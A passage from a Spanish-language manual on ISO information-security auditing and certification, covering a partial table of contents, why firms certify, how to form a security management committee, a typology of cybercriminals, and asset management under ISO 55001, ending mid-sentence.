Auditorias de Sistemas Operativos Servidor / Cliente. ....................................................... 69
Capítulo 6 ............................................................................................................. 72
Las Bases de Datos y su Auditoria: Motor SGDBR y Desarrollo. ................. 72
Donde descansa la mayoría de la información de nuestra empresa. ................................. 72
Auditoria de Base de Datos y Desarrollo............................................................................. 72
Capítulo 7 ............................................................................................................. 94
Las conclusiones y la traducción a un término universal: el Coste. ............... 94
Capítulo 8 ...........................................................................................................104
La Nomenclatura y Estructura de las Normas...............................................104
Normas ISO – ISO / IEC – ISO – UNE. ................................................................................. 104
Capítulo 9 ...........................................................................................................106
Políticas Organización y Seguridad de la Información. ................................106
Dominio 5 & 6.................................................................................................................... 106
Capítulo 10 .........................................................................................................107
Recursos Humanos. .......................................................................................107
Dominio 7 .......................................................................................................................... 107
Capítulo 11 .........................................................................................................108
Página 1 de 430
Gestión de Activos. ISO 55001 ......................................................................108

Dominio 8 .......................................................................................................................... 108
Capítulo12 ..........................................................................................................109
Control de Accesos Físicos y Lógicos ...........................................................109
Dominio 9 .......................................................................................................................... 109
Capítulo 13 y 14 ................................................................................................. 110
Cifrado y Seguridad Física y Ambiental. .......................................................110
Dominios 10 -11 - ISO 14001 ............................................................................................. 110
Capítulo 15 .........................................................................................................112
Seguridad Operativa. ISO 20000 ................................................................... 112
Dominio 12 ........................................................................................................................ 112
Capítulo 16 .........................................................................................................118
Seguridad en las Telecomunicaciones. ISO 27010 ..........................................118
Dominio 13 ........................................................................................................................ 118
Capítulo 17 .........................................................................................................122
Adquisición, Desarrollo y Mantenimiento de los Sistemas de Información. .... 122
Dominio 14 ........................................................................................................................ 122
Capítulo 18 .........................................................................................................127
Relaciones con suministradores. ISO 20000 ...............................................127
Dominio 15 ........................................................................................................................ 127
Capítulo 19 .........................................................................................................129
Gestión de Incidentes de Seguridad. ISO 20000 .........................................129
Dominio 16 ........................................................................................................................ 129
Capítulo 20 .........................................................................................................131
Continuidad del Negocio ISO 22301 / 22320. ...................................................131
Dominio 17 ........................................................................................................................ 131
Capítulo 20 .........................................................................................................138
Cumplimiento Legal. ISO 19600 .................................................................... 138
Dominio 18 ........................................................................................................................ 138
Capítulo 21 .........................................................................................................142
ISO 27007 .......................................................................................................142
¿Cómo se auditan los controles por parte del Auditor?.................................... 142
Capítulo 22 .........................................................................................................173
La Ingeniería Social, la zona muerta del Derecho actual. ................................173
Capítulo 23. ........................................................................................................196
Página 2 de 430
Las metodologías OWASP / OSSTMM soporte para la verificación de la

normativa. ...........................................................................................................196
Capítulo 24 .........................................................................................................217
OSSTM versión 3 : 2010 ....................................................................................217
Mapa de la Seguridad según OSSMT ...............................................................220
Capítulo 25. ........................................................................................................403
Manos a la obra, la parte práctica.................................................................. 403
Capítulo 26. ........................................................................................................419
Como realizar una investigación técnica de calidad. .................................... 419
Página 3 de 430
Capítulo 1
¿Por qué y Para qué debo certificar mi empresa?
Todo ha de empezar por el principio y el principio

es sencillo, es una pregunta.
¿Necesita mi organización estar alineada y/o
certificada con las normas internacionales
conocidas como normas ISO?
Esta no es una pregunta sencilla de responder,
en el siglo xx, había sectores, que estaban
formados por un número muy reducido de
empresas otros sectores, sin embargo, estaban
formados por centenares de empresas que:
fabricaban, vendían, o daban soporte postventa
a productos muy similares.
De ahí surge el concepto de calidad, empresas que fabrican lo mismo
que otras, pero debido: a los materiales, debido a sus métodos de
fabricación, debido a sus herramientas, debido a las habilidades de sus
trabajadores, se obtienen productos distintos unos mejores y otros
peores partiendo de los mismos materiales, métodos de fabricación,
métodos de ensamblaje, etc.
Durante la segunda mitad del siglo xx, la informática y las
telecomunicaciones, dejaron los ámbitos donde eran habituales, tales
como: el ámbito financiero, defensa, investigación y desarrollo,
energía, etc.…y se popularizaron pasando a formar parte de las vidas
de casi todas las personas.
De ahí surgen dos fenómenos interesantes de una parte, un
crecimiento de la tecnología exponencial y paralelo a este, el desarrollo
de la delincuencia relacionada con la compra / venta de tecnología y
de información, el espionaje industrial, y en la actualidad la
ciberguerra.
La información ha pasado de ser una recopilación de hechos históricos,
sobre los que construir las proyecciones del futuro, a ser colecciones
de datos simples o complejos, que tienen relaciones, unas veces obvias
y otras veces ocultas, que descubren nuevos campos de aplicación.
Lo mismo podría decirse de los métodos de fabricación, ensamblaje,
materiales, diseño y estilo, que también son informaciones, sobre las
que se construyen las diferencias entre empresas y productos, que
Página 4 de 430
pueden suponer la diferencia entre continuar existiendo como empresa

o fracasar y desaparecer.
Por tanto: la información es el activo más valioso que una empresa
independientemente de su tamaño posee. Por ello muchas de las
mejores empresas decidieron: hacer públicos parte de sus reglas de
gestión del negocio, dando lugar a los sistemas de calidad, conocidos
por la denominación ISO 9000 y prácticamente en el cualquier ámbito
del saber humano, la calidad se ha integrado y su correspondiente
soporte mediante el uso de la informática y las telecomunicaciones.
Pero dado que, a los fenómenos ya señalados, hemos de añadir: la
globalización, esto hizo que los países económicamente más
competitivos, debido a la inexistencia de sistemas de protección social,
y carentes de sindicalismo, así como dirigidos por oligarquías familiares
u oligarquías políticas competieran, con los países originarios de los
productos, a menor coste partiendo de materiales y métodos muy
similares, a los originales. Ejemplo la economía China.
La diferencia en la actualidad entre un original y una buena copia radica
simplemente en tener una o varias partes del proceso oculto, y marcas
y señas específicas que sólo conoce el fabricante original donde hay
elementos que hacen imposible la copia idéntica del producto, aquí es
donde radica la importancia de la información, ya que estas
informaciones son las que marcan la diferencia entre el original y su
copia. Ejemplos Electrónica de Consumo, Perfumería, Industria
Farmacéutica y Cosmética, en general todo sector donde la
componente tecnológica y la información juegan un rol decisivo.
Si exceptuamos, las actividades humanas relacionadas con la
creatividad, es decir, las artes en general, todas las actividades del ser
humano, pasan en un determinado momento a través de uno o varios
sistemas de información, no confundir, ni con las infraestructuras
físicas (hardware), ni con los sistemas de representación simbólica
(software), ni de difusión mezcla de ambos elementos ya citados
(telecomunicaciones), todo conocimiento de forma independiente de
su objeto formal (contenido), deben ser representado y expresado
basándose algún tipo de lenguaje que debe ser susceptible de ser
reproducido y difundido, para ser aceptado por la comunidad para la
que adquiere un valor determinado y significado propio.
Las normas ISO unas 180.000 en total representan la abstracción del
párrafo anterior, es decir, es un conjunto de reglas, que fija y establece
sistemas de información, que se orientan hacia un determinado tipo de
actividades, indicando cuales son los objetivos que se han de alcanzar,
en que tiempo, siguiendo una serie de instrucciones, cuya forma de
Página 5 de 430
realizarse no está determinada a priori, sino que debe ser compatible

con los principios: jurídicos, económicos, éticos, morales y sociales de
cada sociedad, en el momento de su uso.
Por tanto, las normas ISO dicen: él qué, el cuándo, el quien o quienes
y el para qué, pero no el cómo, dado que ese cómo debe ser
compatible: con los que se conoce como principios generales, que no
son otra cosa que los principios los jurídicos y económicos aceptados
en el ámbito internacional regulado por principios básicos del Derecho
y la Economía.
Para concluir: Dado que los sistemas de información, la informática,
las telecomunicaciones, y sus infinitas aplicaciones e implicaciones
impactan de forma directa sobre la vida de las empresas y de las
personas, el Derecho y la Economía se han visto abocadas a adaptarse
a estas nuevas ciencias aplicadas, que han construido sus propios
sistemas regulatorios Normas que son la base del nuevo Derecho y de
una nueva Economía, la digital.
Por todo lo expuesto anteriormente, todo aquello que tiene que ver de
forma directa e indirecta con la información, que es el nuevo patrón de
cambio, su generación, su transformación, su difusión y su destrucción,
debe estar regulado, y puesto que el Derecho y la Economía no tienen
la información como objeto de su estudio, se han convertido en ciencias
complementarias de la Normativa.
A la pregunta inicial antes de dar una respuesta formal hay que señalar
lo siguiente:
Una alineación con respecto a un estándar o una norma: consiste
en utilizar los métodos, las técnicas e instrumentos, que utilizan las
empresas que definen lo que se conocen como estándares. El seguir
estos patrones no pueden hacerse público, si no hay al menos dos
organismos independientes, entre sí, que puedan verificarlo
obteniendo un mismo resultado.
Página 6 de 430
Una alineación se puede hacer

pública, cuando una empresa
independiente, siguiendo las
directrices fijadas por un
organismo local representante de
un organismo internacional,
reconoce que una empresa,
trabaja de acuerdo con los
procedimientos que dicta una
norma, bien a todos niveles de la
empresa, bien en determinadas
áreas y sobre determinados
servicios en particular y es lo que se conoce como Certificación.
La entidad local que estudia y da fe del uso de cada uno de los
requisitos de la norma, es lo que se conoce como Entidad
Certificadora, hay varias por país y hay una representación local del
organismo internacional, que vela por el cumplimiento objetivo de las
normas, así como que las certificaciones emitidas puedan ser
evaluadas por empresas distintas de las emisoras con idéntico
resultado final.
A esta entidad se la conoce como Registro de Entidades
Certificadoras y Entidades Acreditadas.
Por tanto, toda empresa Certificada estará Acreditada si quien expide
dicha certificación, esta a su vez reconocido, por el representante local
de la Organización ISO. Las certificaciones de normas ISO operan sólo
en el ámbito nacional, donde fueron emitidas, no existen las
Certificaciones Internacionales una empresa puede decir que está
certificada en n países, pero la Organización ISO, ni las organizaciones
privadas que certifican las normas, ni tampoco la entidad registradora
de certificadora puede emitir certificados globales.
La única razón para que una empresa se certifique, es diferenciarse de
sus competidores tanto: dentro del ámbito nacional, como
internacional mediante la confianza que otorga estar en posesión de
dicha certificación: que debe mantenerse y renovarse, conforme al
ciclo de vida de la norma.
Página 7 de 430
Capítulo 2
Por dónde empezar y como

La decisión ya está tomada hay que
certificarse, pero ¿por dónde continuar el
proceso?
Bueno, es sencillo, antes de pedir
presupuestos a las entidades de auditoria y
certificación, debemos hacer algunos
trabajos internos que son importantes para
lograr el objetivo, que nos hemos fijado esto es la certificación.
TRABAJOS PREVIOS A LA AUDITORIA Y CERTIFICACIÓN.
Preguntas que debemos formular y responder de forma objetiva.
1.- Todo el personal de la empresa ¿sabe cómo clasificar, la
información que recibe, que genera y comparte, tanto dentro de la
empresa, como fuera?
2.- ¿Sabemos en qué soportes y ubicaciones físicas y electrónicas, se
encuentra diseminada, toda la información, con independencia de su
tipo de contenido?
3.- ¿Quién clasifica la información y como se etiqueta? ¿La información
ya clasificada, como sé verifica que sólo es recibida y manejada, por
las personas autorizadas, para ello y en las áreas adecuadas?
4.- Cuando hay que destruir información ¿Quién o quiénes son
responsables de dicho proceso? ¿Quién verifica que el proceso se ha
realizado correctamente?
5.- ¿Por qué sólo tenemos formalizado aquella información que cuyo
uso, tenencia, gestión y destrucción está regulada por ley?
6.- ¿Nuestro personal durante todo el ciclo de vida, que le vincula con
la empresa, incluyendo el antes y el después es monitorizado dentro
de lo que permite la ley?
7.- ¿Por qué no existe un plan de formación específica, sobre la gestión
de la información, para los empleados, que abarque desde su
incorporación hasta su desvinculación total, incluyendo acuerdos de
secreto y confidencialidad?
8.- ¿El Departamento de asuntos legales y de recursos humanos, están
coordinados de forma permanente, con el resto de la organización?
Página 8 de 430
9.- ¿El Departamento de asuntos legales y recursos humanos, se

reúnen de formar regular, con el área de sistemas de información y
con el área responsable de la seguridad física y lógica de la empresa?
10.- ¿Por qué no está formalizado, las respuestas a las todas anteriores
preguntas?
Aunque pueda parecer absurdo, la inmensa mayoría de las
organizaciones, no sólo, no pueden responder de forma objetiva las
diez preguntas anteriores, sencillamente no se las plantean, hasta que
ocurre algún suceso, cuya dimensión puede suponer la desaparición de
la empresa.
El error más habitual, es suponer, que todo este tipo de reglas (tacitas)
existen y se aplican de forma habitual, como parte de los
procedimientos rutinarios de cualquier cargo o función, cuando en
realidad, no se enseñan en ninguna facultad, ni tan siquiera en las más
prestigiosas escuelas de negocios y marketing.
Estas preguntas se empiezan a formular y a responder en vacío cuando
se ven en la necesidad de contratar a varios tipos de consultores y se
ven sorprendidos, por la elevada cuantía de los presupuestos, por
desidia en unas ocasiones, en otras por desconocimiento.
Sorprendentemente la mayoría de las organizaciones carecen de algo
tan necesario e importante como su propio de negocio.
Como señalamos en el capítulo previo, la información, es el activo más
importante, con él que cuenta toda empresa y eso, es igual de
importante que es la contabilidad, las ventas, los presupuestos o los
proyectos.
Por eso antes de empezar, hay que formalizar la estructura necesaria
para contestar cada una de las diez preguntas claves anteriores. Esta
estructura es lo que se conoce como Comité de Gestión de la Seguridad
de la Información. CSGSI.
Página 9 de 430
El CSGSI
¿Debe de haber más de un CSGSI? ¿Cuáles son los perfiles de los
miembros del CSGSI? ¿Cómo construir un buen CSGSI?
Funciones y Competencias. Aportación a la estructura organizacional
previa a cualquier trabajo de Auditoria y Certificación.
Debe haber un Comité de Gestión de la Seguridad de la Información
CSGSI Directivo y varios CSGSI departamentales o por unidades de
negocio
El número de ideal de miembros del CSGSI
debe ser de 6 a 8, como máximo, por varias
razones que vamos a exponer ahora:
 SINCRONIZACIÓN INTERESES PERSONALES.
 SINCRONIZACIÓN INTERESES PROFESIONALES.
 REDISTRIBUCIÓN DE RECURSOS HUMANOS.
 REDISTRIBUCIÓN DE RECURSOS FINANCIEROS.
 VISIONES ESTRATÉGICA, TÁCTICA Y OPERATIVA.
 RESISTENCIA ZONA DE CONFORT.
 ISLAS DE CONOCIMIENTOS PROPIO Y VECINOS.
 FALTA DE FACTOR Z.
Todas y cada de las anteriores circunstancias se traducen en una sola
manifestación que se da de forma habitual: la dificultad de sincronizar
agendas de forma semanal para informar de problemas y logros que
hacen que la organización, no esté alcanzando los objetivos o las metas
fijadas.
Para lograr un alineamiento correcto orientado a certificación o no, lo
primero es vencer los vicios ocultos que todas las organizaciones y
personas tienen, que además están íntimamente vinculados al acervo
cultural, organizacional y educativo de las personas que la integran y
aportan desde su incorporación. Tres modelos claramente
diferenciados: el modelo japonés corporativo desde el colegio hasta la
jubilación, el modelo anglosajón los objetivos profesionales y
personales son una sola entidad al servicio del crecimiento personal e
individual, frente al resto, y el latino que es casi igual al anglosajón,
pero utilizando las influencias personales y profesionales por encima
de cualquier otra clase de medio, como sería el conocimiento y la
experiencia.
Es obvio que la existencia de varios SGSI departamentales, obliga a un
nuevo reparto de las tareas y el tiempo estimado, antes de la toma de
esta decisión, ya sea para alinearse, ya sea para certificarse, por parte
de la dirección, como una misión estratégica.
Página 10 de 430
Al añadir nuevas funciones hay que redistribuir el tiempo, esto es

ampliar el número de tareas que sean de delegar, teniendo presente
que el número de reuniones semanales mínimo aceptable es de: dos
primera: el lunes para ver los objetivos a cubrir durante la semana,
más si hay más de un área o departamento implicado, el logro de
dichos objetivos, y segunda reunión: el viernes para ver los progresos
alcanzados e informar sobre escollos o problemas, cuyas soluciones
pueden existir en otras áreas de la organización y que en su día fueron
tratados y resueltos de forma satisfactoria.
PERFILES DE LOS MIEMBROS DEL CSGSI EJECUTIVO.
Director General / Consejero Delegado / Etc. Reviste de autoridad
de las decisiones tomadas y formuladas en este Comité. Nombra y cesa
a miembros del Comité, Planifica y Supervisa las reuniones mensuales
y las excepcionales o extraordinarias, situaciones de crisis, aprobación
de cambios globales, cambios estratégicos y tácticos relativos al
negocio o negocios de la organización.
Director Financiero / Director Contable. Es quien tienen el control
de los recursos económico-financieros de la organización, es quien
conoce donde está invertido el capital, cuanto puede ser convertido en
dinero contante y sonante, cuantas de las deudas son ejecutables y
cuales no entre otras cosas, junto con el Director General son figuras
que siempre han de estar presente y que pueden ser intercambiables
ante una necesidad puntual.
Director de Recursos Humanos / Director de Asuntos Legales.
Además de los recursos económico-financieros y tecnológicos el otro
gran capital de una empresa son sus recursos humanos, por tanto, el
área responsable de su correcta gestión, desde la incorporación hasta
su desvinculación juega un roll fundamental. De hecho, dentro de la
norma, hay un dominio propio dedicado a la gestión de recursos
humanos.
Dado que la norma recomienda que se investigue los antecedentes
antes de la incorporación, estas investigaciones deben hacerse siempre
ateniéndose a lo que leyes dictan, de ahí que quien debe señalar los
limites es el área de asuntos legales, así como será responsabilidad de
ambas áreas el diseño y aplicación relativa al régimen desempeño y
disciplinario aplicado a estos.
Página 11 de 430
También ambas áreas deben verificar que una vez extinguida la

relación entre ambas partes los compromisos se cumplen manteniendo
la confidencialidad, la integridad y el no acceso a las instalaciones y
recursos tecnológicos sobre los que reside información. Más adelante
hablaremos de errores o descuidos habituales en las organizaciones,
que han llegado a costar incluso millones de dólares.
Además, hablaremos de otra norma relacionada, con la gestión de
recursos humanos, en cuanto a su huella, respecto a su estadía dentro
de la organización.
Además de esta parte importante gestión de los recursos humanos
desde el enfoque administrativo y legal, hay otras funciones propias
del área jurídica. Por ejemplo, toda la gestión relativa a contratos de
servicios y productos de terceros, incluyendo todo el personal que
desarrolla funciones externalizadas.
Por ello a la hora de definir el marco legal tanto con clientes externos
e internos, como con proveedores, es muy importante contar con el
asesoramiento legal, dado que hay varios marcos legales: locales,
nacionales, supranacionales e internacionales.
Director de Sistemas de Información / Director de Seguridad.
Dado que en las actuales organizaciones resultan inconcebibles, sin
informática y sin telecomunicaciones, tanto el Director de Sistemas de
Información; como el Director de Seguridad (Física y Lógica) deben ser
miembros permanentes del CSGSI central. Ya que son los responsables
de materializar las decisiones estratégicas en tácticas y operativas, al
proporcionar y mantener los medios necesarios, para el desarrollo de
la propia actividad de la empresa.
Más adelante hablaremos en profundidad de los comités de esta área
pues merecen especial atención, dado que en los últimos años toda la
tecnología se orienta exclusivamente hacia el negocio y deja de ser
negocio por si sola.
Además, es habitual designar una persona que se encarga de realizar
las comunicaciones internas al resto de las áreas organizativas, una
vez que se han validado los mensajes a transmitir y los planes de
difusión y formación, cuando sean necesarios, esta función, la realiza
el Director/a de Comunicación Interna de forma conjunta con el
Personal de staff/apoyo a Dirección, que ya recibe clasificada la
información o la clasifica de acuerdo con patrones ya definidos.
Estos son los componentes esenciales que deben constituir el Comité
de Gestión de la Seguridad de la Información.
Página 12 de 430
Según el tipo de actividad empresarial se podrían añadir miembros,

pero sin carácter permanente, dado que pueden ser para tratar
problemáticas puntuales o cambios de enfoque empresarial. Para
simplificar y asentar conocimientos utilizaremos una imagen que más
sencillo de fijar y recodar.
El SGSI-A/D de cada área o departamento, elabora cada semana

informes de seguimiento y planificación de nuevos proyectos, de
proyectos en curso, y de proyectos que están a la espera de acciones
internas o externas, para su continuación o conclusión, estos informes
ejecutivos, son revisados por el CSGSI, es decir, el comité central del
Sistema de Gestión de la Seguridad de la información.
En este momento vamos a estudiar, más en detalle los SGSI internos
que tienen que ver con las áreas que dan soporte tecnológico a lo largo
del ciclo de vida a cualquier actividad de negocio. El enfoque que vamos
a considerar por ser un estándar de facto es el de ITIL©® aunque
también podría ser la visión que define la norma ISO 20000:2011 por
ser coincidente con la revisión de ITIL V3 y que está orientada a
negocio en vez de orientada a tecnología como era en la versión 2.
Página 13 de 430
Ciclo de Vida de la Información objeto del CSGSI
El dibujo representa las fases que ITIL asocia al desarrollo para

cualquier producto/servicio cubierto por funcionalidades de IT/TIC o
SI. Además, hemos elegido esta forma de V por ser coincidente con el
ciclo de vida de pruebas de la etapa de transición. En los enfoques
anteriores a ITIL y previos a la creación de la Normativa ISO, la
seguridad era una funcionalidad que se añadía y verificaba, durante la
etapa de transición del servicio (pruebas), pero, era una función más
y se confiaba en una gran medida: en que las diferentes partes que
integran un sistema de información, aportaban de forma autónoma,
sistema operativo, base de datos, monitor de teleproceso, lenguaje de
control, etc.… un conjunto de mecanismos suficientes en cuanto a este
requisito.
La evolución de la micro informática, junto con las redes y la internet
han demostrado que confiar la seguridad, a las medidas aportadas por
los fabricantes de hardware y software, es insuficiente y es una
temeridad pensar que se puede continuar confiando la seguridad del
activo más importante de la empresa, a unos terceros, sin añadir
barreras adicionales propias tanto: tecnológicas y jurídicas, así como
organizativas y procedimentales.
En la actualidad la seguridad de la información es un componente
básico de todo diseño: desde la estrategia, hasta la revisión continua.
Página 14 de 430
No olvidemos que mientras no existía la micro informática y las redes

permitían, una interoperabilidad muy limitada, los problemas de
seguridad de la información, era casi inexistentes, con el desarrollo de
las redes, el desarrollo de la interoperabilidad, de la conectividad vía
Internet, muchos mecanismos de seguridad sucumbieron y rebelaron
ser puertas abiertas para el robo de información, o cesión a terceros
no autorizadas, y otros delitos, que continúan evolucionando, a esto
hemos de añadir la aparición de la ingeniería social, junto con la mala
gestión de la configuración, un binomio explosivo y reiterativo hasta la
saciedad, capaz de abrir brechas de seguridad, de impacto
impredecible, luego hablaremos de ello con la debida profundidad que
este aspecto de la seguridad requiere.
Ahora sólo quiero añadir un apunte muy escueto, pero que no quiero
dejarlo para más adelante y es que cosas tan poco tecnológicas, como
una fotocopiadora que contenía la agenda de un grupo secreto, dicha
agenda olvidada saco a la luz al grupo Bilderberg y sus planes para la
humanidad, la memoria de las impresoras, los ficheros temporales de
impresión y los que también se utilizan para él envió de faxes
programados, son aspectos que una política de seguridad firme y férrea
de la información debe tener presente.
Para hacerse una idea antes de continuar con el proyecto pre-
alineamiento o pre-auditoria / pre-certificación, de cual ya hemos
cubiertos dos etapas: la decisión inicial y la creación de la estructura
responsable de gestión de la seguridad de la información, tanto para
la organización departamental, como la dirección ejecutiva, veamos a
que nos enfrentamos cuando hablamos de seguridad de la información
en el actual estado del desarrollo tecnológico y social.
Página 15 de 430
Existen varias familias de delincuentes informáticos y además de

conocer su existencia es bueno y necesario conocer su operativa
teniendo en cuenta que no siempre, los ataques tienen que ser
necesariamente de tipo ciberespacio, un estudio del FBI revela que el
80% de los delitos, relacionados con la información y la tecnología, se
cometen desde el interior de la propia organización.
Y cuidado, cuando lo que, para nosotros, puede resultar material
inservible y desechable, para un delincuente puede constituir una
fuente de información valiosa, que le ahorrara tiempo y esfuerzo en el
diseño de una estrategia de ataque. Vemos los tipos de delincuentes
informáticos más habituales y como operan.
 Piratas Informáticos. Se trata de individuos que utilizan obras

de propiedad intelectual de terceros, sin la correspondiente
autorización y sin haber abonado los derechos de autor
correspondientes. En realidad, están haciendo uso una
mercancía robada o sustraída.
 Hackers. Personas apasionadas por descubrir agujeros de

seguridad en los sistemas, buscan ganar notoriedad o
popularidad, no suelen buscar lucro.
Página 16 de 430
 Cracker. Personas que se infiltran a través de los agujeros de

seguridad o vulnerabilidades de determinados programas y
protocolos de comunicaciones, para acceder a información
confidencial o valiosa con la que luego cometer chantaje o
extorsión, incluso pueden llegar a secuestran el sistema
haciéndolo inaccesible, bajo condiciones operativas normales,
esto supone un riesgo inaceptable en sistemas que actúan sobre
los que se conoce como infraestructuras críticas.
 Phreaker. Intruso especialista en telefonía móvil que utiliza sus

conocimientos para utilizar terminales de otros usuarios en su
propio beneficio incluyendo la realización de actos ilegales.
Suelen construir sus propios equipos inclusive.
 Lammers. Aspirantes a hackers, pero debido a su carencia de

base técnica sus acciones tienen un daño muy limitado.
 Gurús. Maestro que en otros tiempos cometieron actos

renombrados y que muestran a sus aprendices técnicas básicas
mientras ellos continuando formándose y evolucionado.
 Trasher. Persona que obtiene de la

basura, documentos no destruidos,
fotocopias desechadas, cds o dvds no
destruidos, discos duros, no
formateados a bajo nivel o destruidos
mediante procedimientos magnéticos,
componentes de fotocopiadoras e
impresoras de red, información
relevante sobre terceros y que puede utilizar con el fin de
cometer extorsión o chantaje. Son un típico producto de la
ingeniería social.
 Cibergrafitti / Defacments. Acceden a páginas web cuyo

aspecto modifican incluyendo material de infografía obsceno y
mensajes, así como amenazas y burlas, suele miembros de
grupos antisistema.
 Warez. Crackers especializados en romper códigos de seguridad

o de instalación de programas que luego publican en Internet con
la correspondiente copia del programa del cual han vulnerado
Página 17 de 430
bien el sistema de protección bien el código requerido para su

instalación habilitación de funciones completas.
 Hacktivismo. Técnicos que utilizan herramientas digitales y de

ataque con fines políticos, acciones de este tipo de grupos son
desfiguraciones de webs, redirecciones, ataques de tipos DOS,
robos de información, sabotajes, parodias, etc.
Hay una cosa que Ustedes deben tener presente, con cuando hablamos
de información no sólo hablamos de la información, que utilizamos
dentro de nuestro ámbito profesional, también hay información
personal, que se captura desde las redes sociales y que puede facilitar
una puerta de entrada aparentemente inocua, que en muchos casos
resulta letal.
De todas formas, los delincuentes informáticos son: excelentes
sociólogos y psicólogos y no dudarán en usar cualquier combinación de
elementos, que sea necesaria para obtener las informaciones, que le
conduzcan a su objetivo, aunque para Usted o para mí en apariencia el
dato, en cuestión, no tenga ninguna relación directa con nuestra
actividad profesional.
En cualquier caso, para profundizar sobre estos aspectos le recomiendo
las siguientes lecturas para profundizar en la tipología de los
delincuentes informáticos y sus víctimas que son CLC-91-
Ciberdelicuentes y Cibervictimas y Compresión psicojurídica de los
Ciberdelincuentes. Ambos se adjuntan al final de este libro, así como
otros que complementan los aquí enunciado y reseñado.
Hay que señalar que la existencia de todos estos tipos de delincuentes
no necesariamente implica, que su empresa, tiene porqué sufrir
ataques; salvo que las actividades de su empresa estén relacionadas
con sectores muy lucrativos o sean una infraestructura crítica.
Página 18 de 430
Capítulo 3
Identificando activos y su clasificación. ISO 55001
Para esto también existe una

norma ISO la 55001, que identifica
y clasifica los activos que existen
dentro de una organización.
En sucesivas páginas vamos a ver
la norma en general y luego; la
adecuaremos a nuestro caso, que es un caso particular y donde nos
serán especialmente útiles las estructuras departamentales que hemos
creado como CSGSI-A/D. Según una definición no académica, pero
muy fácil de comprender para cualquier persona un activo es:
“Cualquier tipo de
entidad ya sea
persona o cosa, que
tiene un valor para la
Organización, o que
puede llegar a
tenerlo, siempre
traducido a términos
monetarios o
económicos según se
prefiera”.
Es obvio que la
gestión de activos tiene su propio ciclo de vida adaptado del ciclo
original de Deming o PDCA. Vamos a incluir una imagen que lo expone
de una manera clara y simple.
Es obvio que algunas de esta fase de ciclo de vida son más simples o
complejas en función de que activo se trate.
Un bien como, por ejemplo: una instalación (fabrica) y su
infraestructura física asociada, es más simple de gestionar que, por
ejemplo: la infraestructura hardware y software y comunicaciones, que
da soporte a las aplicaciones, que a su vez permiten el ejercicio y
desarrollo de las actividades empresariales, conforme dictan los
principios económicos y legales, aceptados de forma global. De hecho,
esto tiene que ver con el tipo de amenazas, a los que un tipo de bien
y otro, están sometidos. De eso hablaremos cuando hablemos de las
amenazas y vulnerabilidades.
Página 19 de 430
La primera actividad, por lo general, será constituir o crear la

infraestructura humana, técnica y económica, destinada: a identificar,
clasificar y catalogar, así como de etiquetar, todos los tipos de activos
disponibles en la organización y crear sus correspondientes
inventarios, que a su vez deberán estarán estar custodiados y
gestionados de forma exclusiva, por las personas pertenecientes a esta
estructura de control, que como toda estructura será auditada de forma
periódica, tanto para verificar su correcto funcionamiento, como para
subsanar deficiencias o mejorar los procesos y procedimientos
existentes según, el ya citado ciclo de Deming.
Hasta ahora además de crear la estructura cuya única y exclusiva
misión: es garantizar la correcta gestión de la seguridad de la
información, en los niveles ejecutivos y operativos, acabamos de
descubrir que también necesitamos crear la estructura de control que
tiene por misión gestionar el ciclo de vida de los activos, cuya
descripción se ha visto en el párrafo precedente a este. Para asentar
este nuevo concepto; hay que tener presente que tanto el CSGSI y los
SGSI-A/D y los correspondientes gestores de activos, conforman un
sistema que se retroalimentan mutuamente, además de alimentar al
sistema contable y financiero tal y como mostramos en el siguiente
diagrama. Ejemplo la norma 27001, que regula la gestión de la
seguridad de la información, interacciona con las normas de gestión de
activos, esto es, la 55001 gestión de activos y esta a su vez
interacciona tanto con la 9001 gestión de la calidad, como con la
14001, si estamos tratando con residuos que afectan al medio
ambiente, todas las anteriores interaccionan a su vez con la 19600
cumplimiento de requerimientos legales.
Por tanto, podemos establecer
que todas las normas: ISO / IEC
/ UE se pueden entrelazar,
creando un sistema de gestión
integrado. Volviendo a la norma
55001, en la que estamos, uno
de los problemas habituales para
lograr una adecuada gestión de
activos es lograr: la granularidad
ad-hoc, siempre partiendo de
una base de datos de
recopilación de información, que
contenga todos los datos
necesarios, para generar las vistas de datos, que necesitara cada
interlocutor para desarrollar su función. Ello obliga a sistematizar
los códigos o etiquetas, por los que se puede identificar de
Página 20 de 430
forma inequívoca un activo, su tipo / clase, su ubicación física /

lógica, su propietario, su custodio, su utilizador, y por su supuesto su
correspondiente expediente de administrativo. Ejemplos de la GA.
Página 21 de 430
Más información relevante para entender la gestión de activos se

muestra en las páginas sucesivas a esta.
En nuestro caso particular además de los activos físicos, están los

activos lógicos y los productos finales los resultados económicos.
Página 22 de 430
Por tanto, como se puede deducir, no es tan sencillo aplicar la gestión

de activos a los sistemas de información, a modo de ejemplo veremos
un modelo muy simplificado, de la GA aplicado a nuestro caso
particular. Al final de este manual, de Auditoria para no Auditores
encontraran el trabajo completo, de donde hemos tomado aquellas
diapositivas, que no han aparecido suficientes para alcanzar el nivel de
compresión necesario, antes de introducirnos en las normas asociadas
con la 27001/2.
Aquí están representados todas las clases de activos que intervienen

en la norma 27001 y sus asociadas. Es obvio que los datos
administrativos, de todos estos activos, existen y están clasificados y
documentados, a los que habrá que sumar los activos humanos,
existentes ya que forman parte de la ISO 19600, que como se comento
es cumplimiento de requisitos legales y la contabilidad, la facturación,
y el pago de los salarios de los recursos humanos, las obligaciones
tributarias que reflejan los datos la adquisición, mantenimiento o
explotación , así como la desvinculación de los activos, que por
Página 23 de 430
obsolescencia o desvinculación de relación contractual, dejan de tener

relación directa y constante con la organización.
Lo que suele ocurrir, es que la
forma en que se agrupan y
ordenan estos datos, no es
más que una representación
sesgada del total de la masa de
activos. Un activo tiene un
valor económico, el precio de
compra, el precio del
suministro, el precio del
servicio, porque se reflejan en
la contabilidad, pero ese gasto
o inversión, sirve a su vez para
producir otro valor, llamado
valor de negocio que a veces es
inmediato, mientras que el
activo no produce lo que costo, no se alcanza lo que los financieros
llaman ROI (retorno de la inversión), pero que una vez que el retorno
de la inversión se ha alcanzado, todo lo que este activo genera es
ganancia, mientras este dentro de lo que se considera su periodo de
vida útil.
Bien después de haber realizado una inmersión en la terminología
financiera, volvamos a los activos dentro de la norma 55001 y veamos
cual sería la forma más coherente de establecer la granularidad para
que nos sea útil.
Por ejemplo, la instalación física (edificio) donde se alberga el centro
de datos de la empresa, no se debe desagregar más que a dos niveles
la capa de sistemas de soporte y el propio centro de datos, ya que no
tiene mayor interés desde el punto de vista de análisis de activos, y
esto está relacionado con las amenazas y vulnerabilidades, que pueden
ocasionar disrupciones sobre los servicios.
Página 24 de 430
Los Servidores que en una instalación suele haber, aparte de los

equipos de comunicaciones (Routers / Firewall / Switches) son de los
